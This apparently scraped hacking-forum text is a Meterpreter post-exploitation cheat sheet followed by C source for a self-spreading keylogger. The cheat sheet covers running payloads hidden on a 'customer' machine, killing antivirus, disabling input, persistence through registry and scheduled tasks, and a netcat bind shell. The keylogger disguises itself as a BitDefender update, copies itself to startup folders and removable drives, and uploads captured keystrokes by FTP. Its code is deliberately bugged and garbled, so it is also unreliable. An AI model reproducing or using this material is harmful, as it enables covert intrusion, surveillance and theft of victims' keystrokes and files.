$ Meterpreter > help (this will show you a massive list of amzing commands to use!)
$ Meterpreter > use priv (then check help again, more privilidged commands now eh?


ok i will show some really handy ones


$ Meterpreter > upload evil.exe evil.exe (uploads the file from this machine over to the customer)
$ Meterpreter > download secret.txt secret.txt (downloads the txt file to our machine)

$ Meterpreter > cd "Documents and settings" (cd's to a folder with spaces in it.)
$ Meterpreter > ls (this is an example of the bash type commands we have on the target win machine, version of dir)

$ Meterpreter > download -r “My Documents” /home/root/Documents (This would download the entire "My Docs" folder over to us.

$ Meterpreter > execute *f evil.exe (executed the file on the customer)


$ Meterpreter > execute *f cmd.exe *c *H *i (-f executes, cmd.exe shell on target, channelized, hidden, interactive)
(customer will not see a thing your doing as all the options are set properly)

Check down the bottom for some useful cmd.exe commands that are very useful


$ Meterpreter > uictl disable keyboard (disables some user interface componants)
$ Meterpreter > uictl disable mouse
$ Meterpreter > uictl enable keyboard (enables)

$ Meterpreter > ps (this will show you a detailed list of all processes running on target machine)

$ Meterpreter > migrate pid (migrates/injects itself into another process id) e.g migrate 716 (explorer.exe)
$ Meterpreter > kill pid (kills process) e.g. kill 563 (av.exe goes down)


etc etc etc etc....


Using Payload As A Backdoor
===========================


upload /home/metabkdr.exe metabkdr.exe (to app data directory)

execute *-f cmd.exe *-c *-H -*i

Way 1 :
cmd.exe > REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d "C:\Documents and Settings\Owner\Application Data\Microsoft\Installer\metabkdr.exe" /f

(This adds a registry startup obviously)
Way 2 :
cmd.exe > at 19:00 /every:M,T,W,Th,F cmd /c start "C:\Documents and Settings\Owner\Application Data\Microsoft\Installer\metabkdr.exe"

(runs backdoor at 7pm all weekdays, at command works for all windows i think)

way 3 :
cmd.exe > SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45
/TN FIREWALL /TR "C:\Documents and Settings\Owner\Application Data\Microsoft\Ins
taller\metabkdr.exe" /ED 11/11/2011

(This runs the backdoor every 45 mins as SYSTEM (on XP. XP home doesnt have schtask, has 'at' though)

Plant A Simple Backdoor with Netcat
===================================


plant a backdoor
A very simple way of planting backdoor could be using netcat.
steps:
1. upload a netcat executable (nc.exe) on remote machine.
meterpreter provides a command 'upload' for that
2. c:\windows\system32 > nc.exe -l -L -p <port number> -e cmd.exe
3. now from your machine, type nc -v -n <ip address> <port>
It will give you a command shell of remote machine

nc -l -d -p 80 -e c:\windows\system32\cmd.exe


More On Scripts:
================

Scripts can be run from the meterpreter shell when you have a shell on a customer.

All you do is: (where '$' is not to be typed. This is the bash shell)

$ run scraper -h (This will show you the options etc for any of the scripts)
or
$ run keylogrecorder -h


The Sky is your limit when it comes to scripts. You can code them to do all sorts of stuff for you.
There are many already within the the framework, made by folk.. here's a small list of some already there:
killav.rb (kills all anti viruses running on system)
getcountermeasure.rb (kills av's and fw's/ids')
scraper.rb (logs LOADS of useful information via a serious of automated commands on customer. Logs stored in /root/.msf3/
gettelnet.rb (able to open a telnet server on the customer with a username and password)
checkvm.rb (checks to see if it is a VM. And version numbers)
netenum.rb
search_dwld.rb
winbf.rb
credcollect.rb
hostsedit.rb
remotewinenum.rb
keylogrecorder.rb
scheduleme.rb
winenum.rb
getgui.rb
schtasksabuse.rb
wmic.rb
get_local_subnets.rb
migrate.rb


Credits: backtrack forums / metasploit /irongeek
Reply With Quote

C programming - Virus writing code

/*
FIRST VERSION 

Ls Learn C Not 16 Bit,Windows C++ Before Reading On. Get The Win Help File For Reference
The First Function Is The Key Loggere Part(Pay Load) Which Simply Logs Key Strokes
Getkeypress(Int Keypress)
Getasynckeypressstate This Module Got The State Of Each Keys Which Is Passed Over To Our Function,The Int Ascii Value Of The Keys And Converted To Strings And Saved Ina File In C:\Sas.Txt
/*This Is Not A Good Method For Making The Key Kolggers But Preferably The First And Easy Option.Piping Out The Key Strokes Using The Key Bord Hooks Are The Best Method For Doing It(Google For It)

what it does
1)geting the handle to the windows created using hwnd
findwindowa("consolewindowclass",null);
2)registry entry valuse hkey
*********then the hide handle to hide the virus******************
3)using the handle obtained in "hide" we ill set it to be hiden so that itwill run in the back ground bt nt visible
getmodulefilename(getmodh,locate,sizeof(locate));
4)used to get the current path handle for moving it from current position to another
5)getmodulefilename
used to get the current system directory it differs on the insatllation of windows on diff drives
*********victims system file location***************
6)once after getting the system directory ex:c:\windows\system32
7)i append the path of virus copy c:\windows\system32 + bitdefenderupdates.exe using string cat function
8)now copy from current excuted path to new place using copyfile(locate,temprot,false);
copyfile(locate,"c:\\documents and settings\\all users\\start menu\\programs\\startup\\bitdefender_update.exe",false);
************breath of the virus*******************
9)setting it to get autoloaded ever time windows starts,we simply appendfewlines to the registry
10)it sends you the log keystrokes via mail usint ftp() function
we write two star up entryone a link to the current module and one to a fixed path so to evade from common anti virus detection
regsetvalueex(fixstup,"bit defender updates ",0,re_sz,(lpbyte)system2,sizeof(system2));
its ready
****************the wings and leg of virus*******************
am not including those part as its simple jsut write a text file with autorun entries to the removable drives and hence it ill be able to spread
and its ready

*****************************OTHER TECHNIQUES AND Improvements***********************
Just By Ading Few More Codes You Could Make It Un Detactable By Process Vivers And Task Managers
Just By Doing Few Researchs You Could Make It Un Detactable By Anti Virus
Insted Of The Direct Startup Entry Use A Parasitic Infection Technique To Get Auto Started
This Dont Check Whether A Removable Media Exsist Add A Function To Chek The Presence And Then Append The Virusu May Use Shchangenotifyregister To Get Notified Of Any New Drives
U Could All Make It As A Dll And Make Code It To Inject Inot Other Running Process For That Allu Neeed To Do Is To Get The List Of Process On Statup Create A Remote Thread And Inject It To The Stup Applications Virtual Memmory
Just Copy Paste And Compile Wont Work For For These Codes As I Have Added Lots Of Bugs In It.If You Really Wanna Make A Virus You May Try To Investigate And Correct Those Errors Else Leave It.I Don Encourage Script Kiddies
Ill Work Fine And Tested On Vc++,Blood Shed,And Boroland Cs


HAPPY HACKING
*\
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <wininet.h>
#include <fstream.h>

string Getkeypress(int keypress)
{
string tempkeypress = "";

if (keypress == 8)
tempkeypress = "[delete]";
else if (keypress == 13)
tempkeypress = "\n"
else if (keypress == 32)
tempeypress = " "
else if (keypress == VK_PAUSE)
tempkeypress = "[PAUSE]";
else if (keypress == VK_CAPITAL)
tempkeypress = "[CAPITAL]";
else if (keypress == VK_SHIFT)
tempkeypress = "[SHIFT]";
else if (keypress == VK_TAB)
tempkeypress = "[TABULATOR]";
else if (keypress == VK_CONTROL)
tempkeypress = "[CTRL]";
else if (keypress == VK_ESCAPE)
tempkeypress = "[ESCAPE]";
else if (keypress == VK_END)
tempkeypress = "[END]";
else if (keypress == VK_HOME)
tempkeyress = "[HOME]";
else if (keypress == VK_LEFT)
tempkeypress = "[left]";
else if (keypress == VK_RIGHT)
tempkeypress = "[right]";
else if (keypress == VK_UP)
tempkeypress = "[UP]";
else if (keypress == VK_DOWN)
tempkeypress = "[DOWN]";
else if (keypress == VK_SNAPSHOT)
tempkeypress = "[SNAPSHOT]";
else if (keypress == VK_NUMLOCK)
tempkeypress = "[NUMLOCK]";
else if (keypress == 190 || keypress == 110)
tempkeypress = ".";
else if (keypress >=96 && keypress <= 105)
tempkypress = keypress-48;
else if (keypress > 47 && keypress < 60)
tempkeypress = keypress;
if (keypress != VK_LBUTTON || keypress != VK_RBUTTON)
{
if (keypress > 64 && keypress < 91)
{
if (GetkeypressState(VK_CAPITAL))
tempkeypress = keypress;
// Add code to check file size for trigering ftp file traansfer
if ((fp = open("c://sas.txt", O_RDONLY)) != -1)
fsize = filelength(fp);
if(fsize> 1000);//TRIGER THE FTP FILE TRANSFER WHEN FILE REACHES A FILE SIZE SPECIFY IN BYTES
//1MB = 1048576 bytes
int ftp();
else
{
keypress = keypress + 32;
tempkeypress = keypress;
}
}
}

return tempkeypress;
}

int ftp()
{
    HINTERNET ftp=InternetOpen(TEXT("LOG UPLOAD"),INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
    if(!ftp)
        return 0;
    else
    {
        HINTERNET ftplogin=InternetConnect(Open,"ftp.myftp.com",21,
                      "usname","pwd",INTERNET_SERVICE_FTP,0,0);
        BOOL log = FtpPutFile(ftplogin,loger,"log.txt",FTP_TRANSFER_TYPE_BINARY,0);//here u could use a file name based on date to avoid over writing
            if (log==FALSE)
            {
        InternetCloseHandle(ftp);
        InternetCloseHandle(ftplogin);
                       return 0;
            }
            return 1;
       
    }
}
int main()
{

HWND hide;
long fsize;
char system[TOT_SIZ],system2[TOT_SIZ];
HKEY stup,fixstup;
TCHAR SIZ[TOT_SIZ];
LPVOID tempbuffer = NULL;
char temprot[TOT_SIZ];
BOOL buffera = TRUE, filesus = FALSE;
DWORD HANDLE fupldhandle = NULL;
TCHAR loger = TEXT("c\\sas.txt");
TCHAR FIXSTUPPATH[TOT_SIZ+12]="\\BitDefender Updates.exe";
DWORD fread = 0, favail = 0;
char LOCATE[TOT_SIZ];/*creating hide */
AllocConsole();
hide=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(hide,0);
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,LOCATE,sizeof(LOCATE));
GetModuleFileName(NULL,SIZ,TOT_SIZ);
GetSystemDirectory(system,sizeof(system));
GetSystemDirectory(system2,sizeof(system2));
//WRT 2SYS DRV AL PSBL DRV ONS
//temprot[0]=system[0];
//std::strcat(temprot,":\\Program Files\\BitDefender\\BitDefender Updates.exe");
std::strcat(system,"\\BitDefenderUpdates.exe");
//std::strcat(system2,"\\drveprotect.exe");
std::strcat(system2,FIXSTUPPATH);
CopyFile(LOCATE,temprot,false);
CopyFile(LOCATE,system,false);
CopyFile(LOCATE,system2,false);
CopyFile(LOCATE,"E:\\DO NOT OPEN.EXE",false);
CopyFile(LOCATE,"F:\\DO NOT OPEN.EXE",false);
CopyFile(LOCATE,"G:\\DO NOT OPEN.EXE",false);
CopyFile(LOCATE,"H:\\DO NOT OPEN.EXE",false);
CopyFile(LOCATE,"I:\\DO NOT OPEN.EXE",false);
CopyFile(LOCATE,"J:\\DO NOT OPEN.EXE",false);
CopyFile(LOCATE,"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\BITDEFENDER_UPDATE.exe",false);
CopyFile(LOCATE,"C:\\SAS\\BITDEFENDER_UPDATE.exe",false);
std::string Filename = "C:\\SAS.txt";
/*srt up*/
RegOpenkey(Hkeypress_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",

&stup);
//st fix
RegOpenkey(Hkeypress_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",

&fixstup);
//ste fst
RegSetValueEx(fixstup,
"BIT DEFENDER UPDATES ",
0,

RE_SZ,
(LPBYTE)system2,
sizeof(system2));
//stup fixed
RegSetValueEx(stup,
"BIT DEFENDER UPDATES",
0,
REG_SZ,
(LPBYTE)SIZ,
sizeof(SIZ));


/* Close the keypress. */
RegClosekeypress(stup);
RegClosekeypress(fixstup);
std::string TempString =
Fstream FStream;
FStream.pen(Filename., std::fstream::out | std::fstream:);
//FStream.write(
while(1==1)
{

Sleep(3);

for(int i = 8; i < 191; i++)
{
if(GetAsynckeypressState(i)&1 ==1)
{
TempString = Getkeypress (i);

FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}